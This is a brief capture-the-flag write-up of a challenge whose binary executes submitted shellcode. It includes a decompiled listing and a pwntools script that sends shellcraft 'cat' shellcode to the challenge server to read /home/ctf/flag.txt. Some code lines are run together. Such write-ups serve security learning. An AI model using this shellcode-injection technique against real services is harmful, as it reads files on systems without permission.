### Challenge ###
Not much to this one, the binary accepts shellcode and executes it. 
```00400810  int32_t main(int32_t arg1, char** arg2, char** arg3)
00400821      setvbuf(fp: stdout, buf: nullptr, mode: 2, size: 0)00400836      setvbuf(fp: stdin, buf: nullptr, mode: 2, size: 0)0040083d      drop_privs()00400849      puts(str: "Welcome to the Merry X-MAS code …")00400855      puts(str: "Note that this service is UNHACK…")00400861      puts(str: "Even if you SOMEHOW got a shell …")0040086d      puts(str: "You still would not be able to g…")00400879      puts(str: "Because our Security Elves are 4…")00400885      puts(str: "And have dropped the priviledges…")00400898      __printf_chk(flag: 1, format: "Input your code here: ")004008a4      fflush(fp: stdout)004008c3      int64_t rax_2 = mmap(addr: nullptr, len: 0x1000, prot: 7, flags: 0x22, fd: 0xffffffff, offset: 0)004008d5      read(fd: 0, buf: rax_2, nbytes: 0x1000)004008ed      __printf_chk(flag: 1, format: "Your code returned: %ld\n", rax_2())004008f9      puts(str: "Thank you for using our service!")00400901      return 0````
### Solution ###
Just used shellcraft.amd64.linux.cat shellcode to cat the flag from the users home directory.
```pythonfrom pwn import *
context.binary = elf = ELF("./chall")
p = remote("challs.xmas.htsp.ro", 2004)
p.recvuntil(b'Input your code here:')
shellcode = asm(pwnlib.shellcraft.amd64.linux.cat("/home/ctf/flag.txt"))p.sendline(shellcode)
p.interactive()```